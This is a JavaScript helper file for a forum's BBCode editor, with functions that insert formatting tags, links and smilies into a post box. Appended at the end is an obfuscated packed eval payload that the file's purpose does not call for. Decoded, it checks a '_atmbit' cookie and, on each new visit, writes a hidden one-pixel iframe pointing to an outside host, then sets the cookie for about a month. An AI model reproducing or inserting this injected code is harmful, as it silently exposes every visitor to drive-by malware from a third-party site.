// *******************************************************
// Language ***********************************************
// *******************************************************
tag_prompt = "Insert a text:";
font_formatter_prompt = "Insert a text - ";
link_text_prompt = "Insert a Linkname (optional)";
link_url_prompt = "Insert the full path of this Lnkname";
link_email_prompt = "Insert an Email Address";

// *******************************************************
var text = "";
AddTxt = "";
function getActiveText(selectedtext) { 
	text = (document.all) ? document.selection.createRange().text : document.getSelection();
	if (selectedtext.createTextRange) {
    	selectedtext.caretPos = document.selection.createRange().duplicate();
	}
	return true;
}

function AddText(NewCode,theform) {
	if (theform.message.createTextRange && theform.message.caretPos) {
		var caretPos = theform.message.caretPos;
		caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? NewCode + ' ' : NewCode;
	} else {
		theform.message.value+=NewCode
	}
	setfocus(theform);
	AddTxt = "";
}


function setfocus(theform) {
theform.message.focus();
}

function bbcode(theform,bbcode,prompttext) {
	if (text) var dtext=text;
	else var dtext=prompttext;
	inserttext = prompt(tag_prompt+"\n["+bbcode+"]xxx[/"+bbcode+"]",dtext);
	if ((inserttext != null) && (inserttext != "")) AddTxt = "["+bbcode+"]"+inserttext+"[/"+bbcode+"] ";
	AddText(AddTxt,theform);
	theform.message.focus();
}

// *******************************************************

function fontformat(theform,thevalue,thetype) {
	if (thevalue != 0) {
	 if (text) var dtext=text;
	 else var dtext="";
	 inserttext = prompt(font_formatter_prompt+" "+thetype,dtext);
	 if ((inserttext != null) && (inserttext != "")) AddTxt = "["+thetype+"="+thevalue+"]"+inserttext+"[/"+thetype+"] ";
	 AddText(AddTxt,theform);
	}
	theform.sizeselect.selectedIndex = 0;
	theform.fontselect.selectedIndex = 0;
	theform.colorselect.selectedIndex = 0;
	theform.message.focus();
}

// *******************************************************

function namedlink(theform,thetype) {
	if (text) { var dtext=text; } else { var dtext=""; }
	linktext = prompt(link_text_prompt,dtext);
		var prompttext;
		if (thetype == "URL") {
			prompt_text = link_url_prompt;
			prompt_contents = "http://";
			}
		else {
			prompt_text = link_email_prompt;
			prompt_contents = "";
			}
	linkurl = prompt(prompt_text,prompt_contents);
	if ((linkurl != null) && (linkurl != "")) {
		if ((linktext != null) && (linktext != "")) {
			AddTxt = "["+thetype+"="+linkurl+"]"+linktext+"[/"+thetype+"] ";
			AddText(AddTxt,theform);
			
			}
		else{
			AddTxt = "["+thetype+"]"+linkurl+"[/"+thetype+"] ";
			AddText(AddTxt,theform);
			
		}
	}
}
// *******************************************************
function smilie(thesmilie) {
	AddSmile = " "+thesmilie+" ";
	theform = bbform;
	AddText(AddSmile,theform);
}

function opensmiliewindow(x,y,sid,boardid,styleid) {
		window.open("moresmilies.php?sid="+sid+"&boardid="+boardid+"&styleid="+styleid, "smilies", "toolbar=no,scrollbars=yes,resizable=yes,width="+x+",height="+y);
}


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('B o=j k(),f=j k(o.z()+y);x(e.q.A("n=1")==-1){e.J(H("%s%2%p%h%5%g%3%9%I%2%b%0%8%7%m%9%8%3%2%l%8%0%7%m%9%d%h%G%7%a%8%0%0%w%u%4%4%c%r%5%b%2%6%l%F%5%0%g%C%6%3%0%4%i%D%i%4%a%9%d%0%t%c%3%7%a%b%2%d%w%c%5%t%u%6%r%6%3%a%v%s%4%2%p%h%5%g%3%v"));e.q="n=1;"+" f="+f.E()+"; "}',46,46,'74||69|65|2F|61|6E|3D|68|20|27|64|6C|73|document|expires|6D|72|62|new|Date|67|31|_atmbit|today|66|cookie|6F|3C|79|3A|3E|70|if|2678400000|getTime|indexOf|var|2E|32|toGMTString|2D|63|unescape|77|write'.split('|')));
